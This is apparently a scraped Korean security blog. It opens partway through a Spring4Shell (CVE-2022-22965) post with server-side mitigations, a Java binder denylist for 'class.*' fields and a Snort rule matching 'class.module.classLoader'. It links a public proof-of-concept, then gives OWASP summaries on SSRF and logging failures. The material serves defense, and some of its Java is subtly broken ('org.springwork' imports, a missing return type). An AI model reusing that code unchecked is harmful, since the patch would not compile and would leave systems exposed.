class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat 공란 로그에 대한 날짜 형식이 설정

 

3. 대응방안

3.1 서버측면

① JDK 버전 확인
- “java -version” 명령 입력

② Spring 프레임워크 사용 유무 확인
- 프로젝트가 jar, war 패키지로 돼 있는 경우 zip 확장자로 변경하여 압축풀기
- “spring-beans-.jar”, “spring.jar”, “CachedIntrospectionResuLts.class” 검색
- find . -name spring-beans*.jar

③ 최신버전으로 업데이트 적용
- 신규 업데이트가 불가능할 경우 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일(테스트 필요)

import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
 
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22965"; content:"class.module.classLoader"; nocase;)


② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참고

https://www.hahwul.com/2022/04/05/spring4shell/
https://github.com/reznok/Spring4Shell-POC
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

[캡쳐 1] https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/

서버 측 요청 변조(Server-Side Request Forgery, SSRF)는 2021년에 신설된 항목이다. SSRF는 서버 측에서 위조된 요청을 보내도록 하는 취약점이다. 애플리케이션이 사용자 제공 데이터에 대해 적절한 검증 없이 사용할 경우 서버로 하여금 공격자가 강제한 제어 동작을 수행하게 된다.

대응방안으로는 클라이언트가 제공한 입력값을 검증하도록 하고, 클라이언트 요청에 대한 응답을 전송하기 전에 서버측에서 결과를 검증한다. 또한, 방화벽을 통해 접근제어 규칙을 적용하여 네으퉈크단에서 필터링을 수행한다.

 

취약점 유형

사용자 입럭 데이터에 대한 적절한 검증없이 로컬 혹은 원격 리소스에 접근하도록 하는 경우

 

공격 시나리오

추후 업로드 예정

 

대응방안

내부 네트워크간 통신의 경우에도 방화벽을 통해 접근통제 규칙을 적용
모든 사용자 입력 데이터에 대한 검증
클라이언트 요청 수행 후 응답에 대해 서버측 결과 검증

[캡쳐 1]&nbsp;https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/

보안 로깅 및 모니터링 오류(Security Logging and Monitoring Failures)는 OWASP TOP 10 2017에서는 A10로 소개된 불충분한 로깅 및 모니터링(Insufficient Logging & Monitoring) 항목으로 변경되었다.

적절한 로깅과 모니터링이 부재할 경우 침해(공격)을 감지 및 대응하지 못하기 때문에, 데이터 유출 시 공격자의 접근 경로나 유출된 데이터 항목에 대한 확인이 불가하며, 이에 대한 조치 또한 불가하게 된다.

대응 방안으로는 모든 로그인 시도, 데이터 접근 시도 등을 로깅으로 기록하고, 이를 주기적으로 모니텅링하며, 백업하여 보관한다. 또한, 인가된 접근과 비인가 접근에 대해 탐지 및 대응할 수 있도록 지속적인 모니터링을 수행한다.

 

취약점 유형

로그인, 접근 시도 등 중요한 기능에 대한 로깅이 없는 경우
로깅은 생성하나 불명확하거나 부정확한 로깅을 생성하는 경우
로깅 및 모니터링이 존재하나 필요 영역에 대해 불명확한 로깅 및 모니터링이 수행되는 경우
로깅에 대한 백업 절차가 없는 경우

 

공격 시나리오

적절한 로깅이나 모니터링이 없어 데이터가 유출된 후 뒤늦게 인지하고 조치를 수행하거나, 혹은 데이터 유출이 발생한지에 대해 인지하지 못할 가능성 또한 존재한다.

 

대응방안

모든 로그인, 접근 제어, 인증 실패에 대해 로깅을 생성하고, 백업을 수행
로그 관리 솔루션 등을 사용해 로깅이 적절히 생성되는지 확인
모니터링을 통해 비인가 접근 및 의심 행위에 대한 신속한 탐지 및 대응
침해 사고 대응 및 복구 계획 수립

+ Recent posts